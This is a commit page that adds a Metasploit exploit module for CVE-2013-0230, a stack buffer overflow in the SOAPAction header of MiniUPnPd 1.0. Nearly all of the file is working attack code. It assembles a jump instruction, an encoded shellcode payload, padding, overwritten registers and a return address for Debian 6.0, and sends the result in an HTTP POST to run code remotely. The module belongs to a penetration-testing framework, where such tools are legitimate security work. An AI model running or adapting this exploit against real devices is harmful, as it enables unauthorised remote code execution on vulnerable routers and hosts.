Skip to content

Commit 0bf2f51

Browse files
author
jvazquez-r7
committed
Land rapid7#1843, @viris exploit for CVE-2013-0230
2 parents ad87065 + 8ced348 commit 0bf2f51

File tree

1 file changed

+112
-0
lines changed

1 file changed

+112
-0
lines changed
Lines changed: 112 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,112 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
include Msf::Exploit::Remote::HttpClient
12+
Rank = NormalRanking
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'MiniUPnPd 1.0 Stack Buffer Overflow Remote Code Execution',
17+
'Description' =>
18+
%q{
19+
This module exploits the MiniUPnP 1.0 SOAP stack buffer overflow vulnerability present
20+
in the SOAPAction HTTP header.
21+
},
22+
'Author' => [ 'Dejan Lukan' ],
23+
'License' => MSF_LICENSE,
24+
'DefaultOptions' => { 'EXITFUNC' => 'process', },
25+
# the byte '\x22' is the '"' character and the miniupnpd scans for that character in the
26+
# input, which is why it can't be part of the shellcode (otherwise the vulnerable part
27+
# of the program is never reached)
28+
'Payload' => { 'Space' => 2060, 'BadChars' => "\x00\x22", 'DisableNops' => true },
29+
'Platform' => 'linux',
30+
'References' => [
31+
[ 'CVE', '2013-0230' ],
32+
[ 'OSVDB', '89624' ],
33+
],
34+
'Targets' =>
35+
[
36+
['Debian GNU/Linux 6.0', { 'Ret' => 0x0804ee43, 'Offset' => 2123 }],
37+
],
38+
'DefaultTarget' => 0,
39+
'Privileged' => false,
40+
'DisclosureDate' => 'Mar 27 2013',
41+
))
42+
43+
register_options(
44+
[
45+
Opt::RPORT(5555),
46+
], self.class)
47+
end
48+
49+
def exploit
50+
#
51+
# Build the SOAP Exploit
52+
#
53+
# jmp 0x2d ; jump forward 0x2d bytes (jump right after the '#' char)
54+
sploit = "\xeb\x2d"
55+
56+
# a valid action
57+
sploit += "n:schemas-upnp-org:service:WANIPConnection:1#"
58+
59+
# payload
60+
sploit += payload.encoded
61+
62+
# nops
63+
sploit += rand_text(target['Offset'] - sploit.length - 16)
64+
65+
# overwrite registers on stack: the values are not used, so we can overwrite them with anything
66+
sploit += rand_text(4) # overwrite EBX
67+
sploit += rand_text(4) # overwrite ESI
68+
sploit += rand_text(4) # overwrite EDI
69+
sploit += rand_text(4) # overwrite EBP
70+
71+
# Overwrite EIP with addresss of "pop ebp, ret", because the second value on the
72+
# stack points directly to the string after 'Soapaction: ', which is why we must
73+
# throw the first value on the stack away, which we're doing with the pop ebp
74+
# instruction. Then we're returning to the next value on the stack, which is
75+
# exactly the address that we want.
76+
sploit += [target.ret].pack('V')
77+
78+
# the ending " character is necessary for the vulnerability to be reached
79+
sploit += "\""
80+
81+
# data sent in the POST body
82+
data =
83+
"<?xml version='1.0' encoding=\"UTF-8\"?>\r\n" +
84+
"<SOAP-ENV:Envelope\r\n" +
85+
" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
86+
" xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
87+
" xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"\r\n" +
88+
">\r\n" +
89+
"<SOAP-ENV:Body>\r\n" +
90+
"<ns1:action xmlns:ns1=\"urn:schemas-upnp-org:service:WANIPConnection:1\" SOAP-ENC:root=\"1\">\r\n" +
91+
"</ns1:action>\r\n" +
92+
"</SOAP-ENV:Body>\r\n" +
93+
"</SOAP-ENV:Envelope>\r\n"
94+
95+
96+
#
97+
# Build and send the HTTP request
98+
#
99+
print_status("Sending exploit to victim #{target.name} at ...")
100+
send_request_cgi({
101+
'method' => 'POST',
102+
'uri' => target_uri.path,
103+
'headers' => {
104+
'SOAPAction' => sploit,
105+
},
106+
'data' => data,
107+
})
108+
109+
# disconnect from the server
110+
disconnect
111+
end
112+
end

0 commit comments

Comments
 (0)